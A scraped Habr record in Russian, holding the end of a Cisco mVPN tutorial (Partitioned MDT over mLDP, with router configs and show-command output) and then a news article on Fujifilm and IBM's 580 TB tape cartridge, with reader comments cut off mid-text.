class="plaintext">ip vrf C-ONE  mdt auto-discovery mldp  mdt partitioned mldp p2mp  mdt overlay use-bgp mdt strict-rpf interface ! router bgp 1  address-family ipv4 mvpn   neighbor 8.8.8.8 activate   neighbor 8.8.8.8 send-community extended  exit-address-family</code></pre><br/> <i>Прим. о предназначении команды <code>mdt strict-rpf</code> interface поговорим в следующем выпуске.</i><br/> <br/> <h4>Auto-Discovery</h4><br/> Посмотрим, что происходит на РЕ1:<br/> <br/> На каждом РЕ создаётся интерфейс Lspvif0, на котором активируется C-PIM.<br/> <br/> <pre><code class="plaintext">*Dec  3 10:04:54.450: %LINEPROTO-5-UPDOWN: Line protocol on Interface Lspvif0, changed state to up </code></pre><br/> Никаких соседей на данный момент нет:<br/> <br/> <pre><code class="plaintext">PE1#show ip pim vrf C-ONE int Address          Interface                Ver/   Nbr    Query  DR         DR                                           Mode   Count  Intvl  Prior 172.1.11.1       GigabitEthernet2.111     v2/S   1      30     1          172.1.11.11 172.1.15.1       GigabitEthernet2.115     v2/S   1      30     1          172.1.15.15 1.1.1.1          Lspvif0                  v2/S   0      30     1          1.1.1.1 </code></pre><br/> Посмотрим BGP таблицу:<br/> <br/> <pre><code class="plaintext">PE1#show bgp ipv4 mvpn all    BGP table version is 39, local router ID is 1.1.1.1 Status codes: s suppressed, d damped, h history, * valid, > best, i - internal,                r RIB-failure, S Stale, m multipath, b backup-path, f RT-Filter,                x best-external, a additional-path, c RIB-compressed,                t secondary path,  Origin codes: i - IGP, e - EGP, ? - incomplete RPKI validation codes: V valid, I invalid, N Not found        Network          Next Hop            Metric LocPrf Weight Path Route Distinguisher: 1.1.1.1:1 (default for vrf C-ONE)  *>   [1][1.1.1.1:1][1.1.1.1]/12                        0.0.0.0                            32768 ?  *>i  [1][1.1.1.1:1][2.2.2.2]/12                        2.2.2.2                  0    100      0 ?  *>i  [1][1.1.1.1:1][3.3.3.3]/12                        3.3.3.3                  0    100      0 ?  *>i  [1][1.1.1.1:1][4.4.4.4]/12                        4.4.4.4                  0    100      0 ? Route Distinguisher: 2.2.2.2:1  *>i  [1][2.2.2.2:1][2.2.2.2]/12                        2.2.2.2                  0    100      0 ? Route Distinguisher: 3.3.3.3:1      Network          Next Hop            Metric LocPrf Weight Path  *>i  [1][3.3.3.3:1][3.3.3.3]/12                        3.3.3.3                  0    100      0 ? Route Distinguisher: 4.4.4.4:1  *>i  [1][4.4.4.4:1][4.4.4.4]/12                        4.4.4.4                  0    100      0 ? Route Distinguisher: 1.1.1.1:1 (default for vrf C-ONE)  *>   [3][1.1.1.1:1][*][*][1.1.1.1]/14                        0.0.0.0                            32768 ?  *>i  [3][1.1.1.1:1][*][*][2.2.2.2]/14                        2.2.2.2                  0    100      0 ?  *>i  [3][1.1.1.1:1][*][*][3.3.3.3]/14                        3.3.3.3                  0    100      0 ?  *>i  [3][1.1.1.1:1][*][*][4.4.4.4]/14                        4.4.4.4                  0    100      0 ?  *>   [3][1.1.1.1:1][*][224.0.0.13][1.1.1.1]/18                        0.0.0.0                            32768 ? Route Distinguisher: 2.2.2.2:1  *>i  [3][2.2.2.2:1][*][*][2.2.2.2]/14                        2.2.2.2                  0    100      0 ? Route Distinguisher: 3.3.3.3:1  *>i  [3][3.3.3.3:1][*][*][3.3.3.3]/14                        3.3.3.3                  0    100      0 ?      Network          Next Hop            Metric LocPrf Weight Path Route Distinguisher: 4.4.4.4:1  *>i  [3][4.4.4.4:1][*][*][4.4.4.4]/14                        4.4.4.4                  0    100      0 ? </code></pre><br/> Как видно, в дополнение к уже рассмотренным ранее маршрутам первого типа, добавляются маршруты третьего типа S-PMSI A-D, которые используются для объявления РЕ в качестве Ingress маршрутизатора для конкретной C-(S,G) группы. На текущий момент группа равна (*, *). Это говорит о желании РЕ участвовать в построении Partitioned MDT.<br/> <br/> Очевидно, чтобы заработала передача данных, в рамках VRF должна быть известна информация о точке рандеву. В нашем случае в качестве RP и BSR выступает CE15.<br/> <br/> <pre><code class="plaintext">C-RP#sh run | i pim ip pim bsr-candidate Loopback0 0 ip pim rp-candidate Loopback0 </code></pre><br/> Поскольку у C-RP построено PIM соседство с PE1, то на этом РЕ1 информация об RP также известна:<br/> <br/> <pre><code class="plaintext">PE1#show ip pim vrf C-ONE rp mapping  Auto-RP is not enabled PIM Group-to-RP Mappings   Group(s) 224.0.0.0/4   RP 15.15.15.15 (?), v2     Info source: 15.15.15.15 (?), via bootstrap, priority 0, holdtime 150          Uptime: 01:25:50, expires: 00:01:26 </code></pre><br/> Необходимо доставить эту информацию до всех остальных PE/CE. Как это сделать? Чтобы лучше понять принцип, предлагаю пойти от обратного и начать просмотра уже известной информации на СЕ2:<br/> <br/> <pre><code class="plaintext">CE2#show ip pim rp mapping  Auto-RP is not enabled PIM Group-to-RP Mappings   Group(s) 224.0.0.0/4   RP 15.15.15.15 (?), v2     Info source: 15.15.15.15 (?), via bootstrap, priority 0, holdtime 150          Uptime: 01:27:54, expires: 00:02:26 </code></pre><br/> Как видим, сообщения PIM BSR распространилось по mVPN инфраструктуре. Посмотрим дамп трафика на РЕ1:<br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/08c/c0f/a7b/08cc0fa7b718619d9f5a4d3a087e1e25.png" data-src="https://habrastorage.org/getpro/habr/post_images/08c/c0f/a7b/08cc0fa7b718619d9f5a4d3a087e1e25.png"/></div><br/> Как видим PE1 инкапсулирует сообщение PIM BSR внутрь MPLS и помечает его меткой 28. Откуда она берётся? Можем предположить, что поскольку этот пакет достиг СЕ2 (а значит и РЕ2), то есть некий LSP до РЕ2.<br/> <br/> <pre><code class="plaintext">PE2#show mpls mldp database    * For interface indicates MLDP recursive forwarding is enabled   * For RPF-ID indicates wildcard value   > Indicates it is a Primary MLDP MDT Branch   LSM ID : 1   Type: P2MP   Uptime : 04:17:40   FEC Root           : 2.2.2.2 (we are the root)   Opaque decoded     : [gid 65536 (0x00010000)]    Opaque length      : 4 bytes   Opaque value       : 01 0004 00010000   Upstream client(s) :     None       Expires        : N/A           Path Set ID  : 1   Replication client(s):  >   MDT  (VRF C-ONE)       Uptime         : 04:17:40      Path Set ID  : None       Interface      : Lspvif0       RPF-ID       : * LSM ID : 3   Type: P2MP   Uptime : 01:30:06   FEC Root           : 1.1.1.1    Opaque decoded     : [gid 131071 (0x0001FFFF)]    Opaque length      : 4 bytes   Opaque value       : 01 0004 0001FFFF   Upstream client(s) :     6.6.6.6:0    [Active]       Expires        : Never         Path Set ID  : 3       Out Label (U)  : None          Interface    : GigabitEthernet2.26*       Local Label (D): 34            Next Hop     : 10.2.6.6   Replication client(s):      MDT  (VRF C-ONE)       Uptime         : 01:30:06      Path Set ID  : None       Interface      : Lspvif0       RPF-ID       : * </code></pre><br/> Из анализа базы mLDP видно, что на РЕ2 есть некое дерево (LSM ID: 3), корнем которого является PE1 (IP = 1.1.1.1), Opaque = 01 0004 0001FFFF и для этого дерева сгенерирована локальная метка 34, которая отправлена соседу R6 (P2).<br/> <br/> Откуда РЕ2 узнал о дереве, корнем которого является PE1 да ещё и получил Opaque для него? Ответ прост — с помощью BGP маршрута третьего типа.<br/> <br/> Когда РЕ1 получил PIM BSR, то сгенерировал дополнительный BGP маршрут, который описывает группу (*, 224.0.0.13) (напоминаю, что это зарезервированный адрес для рассылки всех служебных PIM сообщений). Этот маршрут служит для объявления нового многоадресного mLDP дерева. Внутри РТА указано Opaque значение, которое необходимо использовать для сигнализации посредством mLDP.<br/> <br/> <pre><code class="plaintext">PE1#show bgp ipv4 mvpn all route-type 3 * 224.0.0.13 1.1.1.1 BGP routing table entry for [3][1.1.1.1:1][*][224.0.0.13][1.1.1.1]/18, version 116 Paths: (1 available, best #1, table MVPNv4-BGP-Table, not advertised to EBGP peer)   Advertised to update-groups:      1            Refresh Epoch 1   Local     0.0.0.0 from 0.0.0.0 (1.1.1.1)       Origin incomplete, localpref 100, weight 32768, valid, sourced, local, best       Community: no-export       Extended Community: RT:65001:1       PMSI Attribute: Flags: 0x0, Tunnel type: 2, length 17, label: exp-null, tunnel parameters: 0600 0104 0101 0101 0007 0100 0400 01FF FF       rx pathid: 0, tx pathid: 0x0 </code></pre><br/> Таким образом, РЕ2 импортируя этот маршрут, может начать mLDP сигнализацию в сторону РЕ1 для дерева (*, 224.0.0.13). Для полученной от РЕ2 метки, Р2 (R6) генерирует свой собственную локальную (29) и отправляет её в сторону P1 (R5):<br/> <br/> <pre><code class="plaintext">P2#show mpls mldp database    * For interface indicates MLDP recursive forwarding is enabled   * For RPF-ID indicates wildcard value   > Indicates it is a Primary MLDP MDT Branch   LSM ID : 2   Type: P2MP   Uptime : 01:40:24   FEC Root           : 1.1.1.1    Opaque decoded     : [gid 131071 (0x0001FFFF)]    Opaque length      : 4 bytes   Opaque value       : 01 0004 0001FFFF   Upstream client(s) :     5.5.5.5:0    [Active]       Expires        : Never         Path Set ID  : 2       Out Label (U)  : None          Interface    : GigabitEthernet2.56*       Local Label (D): 29            Next Hop     : 10.5.6.5   Replication client(s):      2.2.2.2:0        Uptime         : 01:40:24      Path Set ID  : None       Out label (D)  : 34            Interface    : GigabitEthernet2.26*       Local label (U): None          Next Hop     : 10.2.6.2 </code></pre><br/> Аналогичным образом поступает и Р1 (R5), генерируя свою локальную метку для дерева и отправляя её к РЕ1:<br/> <br/> <pre><code class="plaintext">P1#show mpls mldp database    * For interface indicates MLDP recursive forwarding is enabled   * For RPF-ID indicates wildcard value   > Indicates it is a Primary MLDP MDT Branch LSM ID : 2   Type: P2MP   Uptime : 01:41:24   FEC Root           : 1.1.1.1    Opaque decoded     : [gid 131071 (0x0001FFFF)]    Opaque length      : 4 bytes   Opaque value       : 01 0004 0001FFFF   Upstream client(s) :     1.1.1.1:0    [Active]       Expires        : Never         Path Set ID  : 2       Out Label (U)  : None          Interface    : GigabitEthernet2.15*       Local Label (D): 28            Next Hop     : 10.1.5.1   Replication client(s):      4.4.4.4:0        Uptime         : 01:41:24      Path Set ID  : None       Out label (D)  : 34            Interface    : GigabitEthernet2.45*       Local label (U): None          Next Hop     : 10.4.5.4     7.7.7.7:0        Uptime         : 01:41:24      Path Set ID  : None       Out label (D)  : 30            Interface    : GigabitEthernet2.57*       Local label (U): None          Next Hop     : 10.5.7.7     6.6.6.6:0        Uptime         : 01:41:24      Path Set ID  : None       Out label (D)  : 29            Interface    : GigabitEthernet2.56*       Local label (U): None          Next Hop     : 10.5.6.6 </code></pre><br/> Визуально весь процесс представлен на рисунке ниже:<br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/c94/210/56b/c9421056b178a002ade0d4de2d684444.png" data-src="https://habrastorage.org/getpro/habr/post_images/c94/210/56b/c9421056b178a002ade0d4de2d684444.png"/></div><br/> <h4>Присоединение к Shared Tree и построение корневого P2MP дерева (ROOT = RP-PE)</h4><br/> Шаг 2. В сети появляется получатель трафика. После того как Egress PE (РЕ2) получает PIM Join от CE для C-(*, G), PE2 производит RPF проверку чтобы найти BGP Next-Hop в сторону C-RP. Найденный Next-Hop (1.1.1.1) будет использоваться как Partitioned MDT ROOT для mLDP.<br/> <br/> Дополнительно РЕ2 создаёт интерфейс Lspvif внутри  C-VRF:<br/> <br/> <pre><code class="plaintext">PE2# *Dec  3 14:46:21.606: %LINEPROTO-5-UPDOWN: Line protocol on Interface Lspvif1, changed state to up PE2# *Dec  3 14:46:22.310: %PIM-5-DRCHG: VRF C-ONE: DR change from neighbor 0.0.0.0 to 2.2.2.2 on interface Lspvif1 </code></pre><br/> Шаг 3. Egress PE (PE2) генерирует сообщение mLDP mapping в сторону RP-PE (ROOT P2MP MDT) используя Opaque значение из BGP апдейта.<br/> <br/> <pre><code class="plaintext">PE2#show mpls mldp database summary    LSM ID     Type    Root              Decoded Opaque Value          Client Cnt. 4          P2MP    1.1.1.1           [gid 65536 (0x00010000)]      1          1          P2MP    2.2.2.2           [gid 65536 (0x00010000)]      1          3          P2MP    1.1.1.1           [gid 131071 (0x0001FFFF)]     1          PE2# PE2#show mvpn ipv4 vrf C-ONE auto-discovery s-pmsi * * detail  I-PMSI - Intra-AS Inclusive-PMSI, S-PMSI - Selective-PMSI * - Indicates Wildcard source or group address    [S-PMSI][1.1.1.1:1][*][*][1.1.1.1], Joined   Orig: Remote Uptime: 04:44:27 Type: MLDP P2MP   Root: 1.1.1.1 Fec-Opq: 1 Global-Id: 65536 (0x10000)    [S-PMSI][3.3.3.3:1][*][*][3.3.3.3],    Orig: Remote Uptime: 04:44:22 Type: MLDP P2MP   Root: 3.3.3.3 Fec-Opq: 1 Global-Id: 65536 (0x10000)    [S-PMSI][4.4.4.4:1][*][*][4.4.4.4],    Orig: Remote Uptime: 04:44:20 Type: MLDP P2MP   Root: 4.4.4.4 Fec-Opq: 1 Global-Id: 65536 (0x10000)    [S-PMSI][2.2.2.2:1][*][*][2.2.2.2], Joined   Orig: Local Uptime: 04:44:24 Type: MLDP P2MP   Root: 2.2.2.2 Fec-Opq: 1 Global-Id: 65536 (0x10000) PE2#show mpls mldp database opaque_type gid 65536 LSM ID : 4   Type: P2MP   Uptime : 00:03:43   FEC Root           : 1.1.1.1    Opaque decoded     : [gid 65536 (0x00010000)]    Opaque length      : 4 bytes   Opaque value       : 01 0004 00010000   Upstream client(s) :     6.6.6.6:0    [Active]       Expires        : Never         Path Set ID  : 4       Out Label (U)  : None          Interface    : GigabitEthernet2.26*       Local Label (D): 35            Next Hop     : 10.2.6.6   Replication client(s):      MDT  (VRF C-ONE)       Uptime         : 00:03:43      Path Set ID  : None       Interface      : Lspvif1       RPF-ID       : 0x1 </code></pre><br/> Шаг 4. Egress PE генерирует BGP маршрут шестого типа (присоединение к Shared Tree в сторону RP-PE). Данный маршрут импортируется только на RP-PE.<br/> <br/> <pre><code class="plaintext">PE2#show bgp ipv4 mvpn all route-type 6 1.1.1.1:1 65001 15.15.15.15 230.1.1.1 BGP routing table entry for [6][1.1.1.1:1][65001][15.15.15.15/32][230.1.1.1/32]/22, version 130 Paths: (1 available, best #1, table MVPNv4-BGP-Table)   Advertised to update-groups:      1            Refresh Epoch 1   Local     0.0.0.0 from 0.0.0.0 (2.2.2.2)       Origin incomplete, localpref 100, weight 32768, valid, sourced, local, best       Extended Community: RT:1.1.1.1:1       rx pathid: 1, tx pathid: 0x0 </code></pre><br/> Шаг 5. RP-PE транслирует полученный BGP маршрут шестого типа в PIM Join в сторону RP. На этот момент RP готово к отправке многоадресного трафика в сторону Egress PE. Необходимо доставить трафик от источника до RP.<br/> <br/> <pre><code class="plaintext">PE1#show ip mroute vrf C-ONE | b \( (*, 230.1.1.1), 00:07:08/stopped, RP 15.15.15.15, flags: SG   Incoming interface: GigabitEthernet2.115, RPF nbr 172.1.15.15   Outgoing interface list:     Lspvif0, Forward/Sparse, 00:07:08/stopped </code></pre><br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/d6b/bdf/9d5/d6bbdf9d5eb4f362c173b01f236a4430.png" data-src="https://habrastorage.org/getpro/habr/post_images/d6b/bdf/9d5/d6bbdf9d5eb4f362c173b01f236a4430.png"/></div><br/> Шаг 6. Когда S-PE (PE4) получает первый многоадресный пакет от источника (CE4), трафик инкапсулируется внутрь сообщения PIM Register и отправляется как одноадресный пакет в сторону C-RP (используя обычные правила MPLS L3 VPN).<br/> <br/> Шаг 7. После получения PIM Register, C-RP начинает процесс построения дерева С-(14.14.14.14, 230.1.1.1).  RP-PE получает PIM Join для C-(14.14.14.14, 230.1.1.1) от C-RP. Данное сообщение транслируется в BGP маршрут седьмого типа. Однако, перед отправкой в сторону источника, необходимо построить новое дерево Partitioned MDT с РЕ в качестве ROOT.<br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/853/33f/6ab/85333f6ab9b26ec66c0c1dbaa11bc2c8.png" data-src="https://habrastorage.org/getpro/habr/post_images/853/33f/6ab/85333f6ab9b26ec66c0c1dbaa11bc2c8.png"/></div><br/> Шаг 8. RP-PE производит RPF проверку чтобы найти BGP Next-Hop в сторону источника. Данный адрес будет использоваться как Partitioned MDT ROOT для mLDP.<br/> <br/> Шаг 9. Используя полученный BGP Next-Hop и BGP маршрут третьего типа от Ingress PE, RP-PR генерирует сообщение mLDP mapping в сторону IP адреса Ingress PE, тем самым строя корневое P2MP дерево до Ingress PE.<br/> <br/> Шаг 10. RP-PE отправляет BGP маршрут седьмого типа (Join от RP) в сторону Ingress PE.<br/> <br/> Шаг 11. Ingress PE преобразует полученный BGP маршрут седьмого типа в PIM Join и отправляет его в сторону источника трафика.<br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/691/433/0ba/6914330baa90c4bfb4dceb68b6369b22.png" data-src="https://habrastorage.org/getpro/habr/post_images/691/433/0ba/6914330baa90c4bfb4dceb68b6369b22.png"/></div><br/> <h4>Присоединение к Source Tree и построение P2MP (ROOT = S-PE)</h4><br/> Шаг 12. Ingress PE также отправляет BGP маршрут пятого типа ко всем mVPN PE, тем самым информируя их о наличии активного источника в сети. Данный маршрут является триггером для переключения к SPT дереву.<br/> <br/> Шаг 13. Egress PE использует полученный BGP маршрут пятого типа для генерации сообщения mLDP mapping в сторону Ingress PE (информация о MDT берётся из BGP маршрута третьего типа).<br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/8f5/112/b02/8f5112b02465a26f4d5df0588400ff84.png" data-src="https://habrastorage.org/getpro/habr/post_images/8f5/112/b02/8f5112b02465a26f4d5df0588400ff84.png"/></div><br/> Таким образом теперь трафик может быть перенаправлен оптимальным путём от источника к получателю, используя mpls (mLDP) метки.<br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/27b/cd9/609/27bcd96093be0d408c9f610a7304eb2e.png" data-src="https://habrastorage.org/getpro/habr/post_images/27b/cd9/609/27bcd96093be0d408c9f610a7304eb2e.png"/></div></div>
Алексей (fantas1st0)
null
null
В предыдущих выпусках:<br> <br> <a href="https://habr.com/ru/post/528120/">Profile 0 </a><br> <a href="https://habr.com/ru/post/529288/">Profile 1 </a><br> <a href="https://habr.com/ru/post/529726/">Profile 3</a><br> <a href="https://habr.com/ru/post/530150/">Profile 11</a><br> <br> Как мы узнали из прошлых записей, в опорной сети при реализации mVPN <strong>всегда</strong> присутствует конструкция Default MDT, к которой подключены все РЕ маршрутизаторы. В рамках данного MDT передаются служебные сообщения PIM (например Bootstrap, Auto-RP), а также пользовательский многоадресный трафик. В результате получается, что какие-то РЕ устройства получают даже тот трафик, на который они не подписывались.<br> <br> Если хотите узнать как с этим бороться — добро пожаловать под кат!<br>
В предыдущих выпусках: Profile 0 Profile 1 Profile 3 Profile 11 Как мы узнали из прошлых записей, в опорной сети при реализации mVPN всегда присутствует конструкция Default MDT, к которой подключены все РЕ маршрутизаторы. В рамках данного MDT передаются служебные сообщения PIM (например Bootstrap, Auto-RP), а также пользовательский многоадресный трафик. В результате получается, что какие-то РЕ устройства получают даже тот трафик, на который они не подписывались. Если хотите узнать как с этим бороться — добро пожаловать под кат!
article
1,607,189,482
{ "commentsCount": 0, "favoritesCount": 14, "readingCount": 2350, "score": 6, "votesCount": 6, "votesCountPlus": 6, "votesCountMinus": 0 }
[]
[ "cisconetworks", "network_technologies" ]
[ "admin" ]
[ "cisco", "pim", "multicast", "mldp", "mvpn" ]
10
null
null
{ "id": [], "parent_id": [], "level": [], "time_published": [], "score": [], "votes": [], "message_html": [], "message_markdown": [], "author": [], "children": [] }
533,662
ru
https://habr.com/ru/post/533662/
Fujifilm и IBM создали ленточный накопитель объемом в 580 ТБ
Похоже, что поговорка «старый конь борозды не испортит» не теряет актуальности и в IT — старые и проверенные технологии служат верой и правдой. Более того, некоторые из них становятся основой для технологических прорывов. Как например, в случае ленточного накопителя объемом в 580 ТБ, созданного стараниями Fujifilm и IBM. На данный момент это мировой рекорд — пока что ни один носитель информации не может похвастаться такими же показателями. Максимальная емкость SSD, например, не превышает 100 ТБ, жестких дисков — около 30 ТБ. Разработчикам удалось добиться таких показателей благодаря увеличению плотности записи вплоть до 317 Гбит на квадратный дюйм. Этот показатель в 27 раз превышает рекорд для работающих сейчас ленточных накопителях, моделей, которые можно купить. В качестве покрытия ленты инженеры использовали частицы феррита стронция вместо феррита бария, соединения, которое используется обычно. Права на эту разработку принадлежат Fujifilm. Частицы феррита стронция имеют меньший размер, поэтому дорожки записи удалось до 56,2 нм. Правда, попутно пришлось создать новый механизм считывания/записи, прежде всего — новую головку, которая не только может работать с узкими дорожками, но и обладает повышенной точностью позиционирования. Для того, чтобы на накопителе ленточного типа уместилось 580 ТБ информации, длина ленты должна составлять 1,255 км. Аналогичный объем информации равен 787 тыс. CD. IBM и Fujifilm не впервые работают вместе. Несколько лет назад, в 2015 году, обе компании разработали накопитель объемом в 220 ТБ. Причем тогда в качестве покрытия ленты применялся феррит бария, а не стронция, как сейчас. ### Почему именно магнитная лента? Только она дает возможность увеличить в несколько раз объем файлового пространства, доступного для записи информации. Несмотря на то, что магнитная пленка была разработана в начале прошлого века, она весьма активно используется и сейчас для хранения данных. Максимальный объем SSD, доступного для покупки в настоящий момент, составляет 100 ТБ. Это примерно в пять раз меньше, чем в случае накопителя на основе магнитной пленки. При этом стоимость SSD емкостью в 100 ТБ составляет около $40 000, так что даже крупные компании вряд ли будут активно закупать подобную систему. Правда, за $12 500 можно купить SSD объемом в 50 ТБ, но и это очень недешево. Кстати, продолжительное время стандартом магнитных лет в индустрии был LTO-9, с возможностью хранения до 24 ТБ информации. Компания Spectra Logic в сентябре 2019 года продемонстрировала рекордную систему с возможностью увеличения объема до 1 эксабайта данных.
<div xmlns="http://www.w3.org/1999/xhtml"><div style="text-align:center;"><img src="https://habrastorage.org/r/w780q1/getpro/habr/post_images/7df/a2a/4c4/7dfa2a4c4a1ac60686067ae8abe24520.jpg" data-src="https://habrastorage.org/getpro/habr/post_images/7df/a2a/4c4/7dfa2a4c4a1ac60686067ae8abe24520.jpg" data-blurred="true"/></div><br/> Похоже, что поговорка «старый конь борозды не испортит» не теряет актуальности и в IT — старые и проверенные технологии служат верой и правдой. Более того, некоторые из них становятся основой для технологических прорывов. Как например, в случае ленточного накопителя объемом в 580 ТБ, созданного стараниями Fujifilm и IBM.<br/> <br/> На данный момент это <a href="https://blocksandfiles.com/2020/12/16/ibm-and-fujifilm-580tb-tape-capacity-record/">мировой рекорд</a> — пока что ни один носитель информации не может похвастаться такими же показателями. Максимальная емкость SSD, например, не превышает 100 ТБ, жестких дисков — около 30 ТБ.<br/> <a name="habracut"></a> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w780q1/getpro/habr/post_images/b8b/da1/1ef/b8bda11ef179ca975be105a130002328.jpg" data-src="https://habrastorage.org/getpro/habr/post_images/b8b/da1/1ef/b8bda11ef179ca975be105a130002328.jpg" data-blurred="true"/></div><br/> Разработчикам удалось добиться таких показателей благодаря увеличению плотности записи вплоть до 317 Гбит на квадратный дюйм. Этот показатель в 27 раз превышает рекорд для работающих сейчас ленточных накопителях, моделей, которые можно купить.<br/> <br/> В качестве покрытия ленты инженеры использовали частицы феррита стронция вместо феррита бария, соединения, которое используется обычно. Права на эту разработку принадлежат Fujifilm.<br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w780q1/getpro/habr/post_images/2b1/ee1/442/2b1ee1442776d332717649e79803ebcc.jpg" data-src="https://habrastorage.org/getpro/habr/post_images/2b1/ee1/442/2b1ee1442776d332717649e79803ebcc.jpg" data-blurred="true"/></div><br/> Частицы феррита стронция имеют меньший размер, поэтому дорожки записи удалось до 56,2 нм. Правда, попутно пришлось создать новый механизм считывания/записи, прежде всего — новую головку, которая не только может работать с узкими дорожками, но и обладает повышенной точностью позиционирования. Для того, чтобы на накопителе ленточного типа уместилось 580 ТБ информации, длина ленты должна составлять 1,255 км. Аналогичный объем информации равен 787 тыс. CD.<br/> <br/> IBM и Fujifilm не впервые работают вместе. Несколько лет назад, в 2015 году, обе компании разработали накопитель объемом в 220 ТБ. Причем тогда в качестве покрытия ленты применялся феррит бария, а не стронция, как сейчас.<br/> <br/> <font color="#EB4247"><h3>Почему именно магнитная лента?</h3></font><br/> Только она дает возможность увеличить в несколько раз объем файлового пространства, доступного для записи информации. Несмотря на то, что магнитная пленка была разработана в начале прошлого века, она весьма активно используется и сейчас для хранения данных.<br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w780q1/getpro/habr/post_images/f01/b8a/a81/f01b8aa817c952ebbe1379d91e050fd1.jpg" data-src="https://habrastorage.org/getpro/habr/post_images/f01/b8a/a81/f01b8aa817c952ebbe1379d91e050fd1.jpg" data-blurred="true"/></div><br/> Максимальный объем SSD, доступного для покупки в настоящий момент, составляет 100 ТБ. Это примерно в пять раз меньше, чем в случае накопителя на основе магнитной пленки. При этом стоимость SSD емкостью в 100 ТБ составляет около $40 000, так что даже крупные компании вряд ли будут активно закупать подобную систему. Правда, за $12 500 можно купить SSD объемом в 50 ТБ, но и это очень недешево.<br/> <br/> Кстати, продолжительное время стандартом магнитных лет в индустрии был LTO-9, с возможностью хранения до 24 ТБ информации. Компания Spectra Logic в сентябре 2019 года продемонстрировала рекордную систему с возможностью увеличения объема до 1 эксабайта данных.<br/> <br/> <a href="https://slc.tl/IDJSZhttps://slc.tl/kKUGH"><div style="text-align:center;"><img src="https://habrastorage.org/r/w780q1/webt/1h/dq/mj/1hdqmj1bvguax5hnugdz0ci_jbw.jpeg" data-src="https://habrastorage.org/webt/1h/dq/mj/1hdqmj1bvguax5hnugdz0ci_jbw.jpeg" data-blurred="true"/></div></a></div>
Seleditor
null
null
<div style="text-align:center;"><img src="https://habrastorage.org/getpro/habr/post_images/7df/a2a/4c4/7dfa2a4c4a1ac60686067ae8abe24520.jpg"></div><br> Похоже, что поговорка «старый конь борозды не испортит» не теряет актуальности и в IT — старые и проверенные технологии служат верой и правдой. Более того, некоторые из них становятся основой для технологических прорывов. Как например, в случае ленточного накопителя объемом в 580 ТБ, созданного стараниями Fujifilm и IBM.<br> <br> На данный момент это <a href="https://blocksandfiles.com/2020/12/16/ibm-and-fujifilm-580tb-tape-capacity-record/" rel="nofollow">мировой рекорд</a> — пока что ни один носитель информации не может похвастаться такими же показателями. Максимальная емкость SSD, например, не превышает 100 ТБ, жестких дисков — около 30 ТБ.<br>
Похоже, что поговорка «старый конь борозды не испортит» не теряет актуальности и в IT — старые и проверенные технологии служат верой и правдой. Более того, некоторые из них становятся основой для технологических прорывов. Как например, в случае ленточного накопителя объемом в 580 ТБ, созданного стараниями Fujifilm и IBM. На данный момент это мировой рекорд — пока что ни один носитель информации не может похвастаться такими же показателями. Максимальная емкость SSD, например, не превышает 100 ТБ, жестких дисков — около 30 ТБ.
article
1,608,225,267
{ "commentsCount": 28, "favoritesCount": 24, "readingCount": 12023, "score": 20, "votesCount": 32, "votesCountPlus": 26, "votesCountMinus": 6 }
[]
[ "selectel", "dwh", "gadgets", "hardware", "storages" ]
[ "admin", "popsci" ]
[ "ленточные накопители", "хранение информации" ]
2
null
null
{ "id": [ 22435990, 22436040, 22436046, 22436180, 22436350, 22436398, 22436522, 22436574, 22437046, 22437098, 22437260, 22437276, 22437386, 22437564, 22437794, 22437850, 22438026, 22438366, 22438604, 22438950, 22439014, 22439556, 22440678, 22440688, 22445298, 22446096, 22450722, 22477720 ], "parent_id": [ null, null, null, 22436046, 22435990, 22436040, null, 22436398, 22436040, null, null, 22437046, 22437276, 22437260, null, 22437564, 22437850, 22438026, 22438366, 22436574, 22437260, 22437386, 22437098, 22436180, null, 22445298, 22436574, null ], "level": [ 0, 0, 0, 1, 1, 1, 0, 2, 1, 0, 0, 2, 3, 1, 0, 2, 3, 4, 5, 3, 1, 4, 1, 2, 0, 1, 3, 0 ], "time_published": [ 1608233224, 1608234273, 1608234466, 1608237671, 1608243987, 1608246881, 1608255025, 1608261555, 1608277057, 1608278146, 1608280257, 1608280422, 1608281748, 1608283758, 1608286583, 1608287434, 1608289701, 1608294387, 1608297266, 1608301919, 1608302733, 1608309741, 1608345962, 1608347446, 1608493861, 1608533746, 1608628241, 1609252909 ], "score": [ 11, 4, 4, 8, 0, 3, 1, 3, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0 ], "votes": [ 11, 6, 4, 8, 0, 3, 1, 3, 0, 1, 0, 1, 0, 0, 0, 1, 2, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Какой смысл сравнивать по цене быстрые ssd диски с лентой? У них совершенно разные сценарии использования. С таким же эффектом могу заявить, что мой мопед на 1 литре бензина проедет большее расстояние, чем Бугатти Вейрон. Понятно, что есть рекорд в плотности хранения информации, но ssd то здесь причем?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Ирине Яровой на радость. Для её сценария использования (раз записали и маловероятно, что потом прочитаем) лента подходит лучше всего.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Кстати, продолжительное время стандартом магнитных лет в индустрии был LTO-9, с возможностью хранения до 24 ТБ информации.</blockquote><p>Во-первых, почему \"продолжительное время был\", если он вышел только 3 месяца назад?<br/>\r\nВо-вторых, откуда вылезли эти цифры (24 ТБ), когда в LTO-9 объем кассеты 18TB/45TB(compressed)?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Здесь вся статья — ведро впопыхах накиданных цифр вперемешку со случайными [непроверенными] фактами.<br/>\r\nКонец года, план по буквам горит.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO 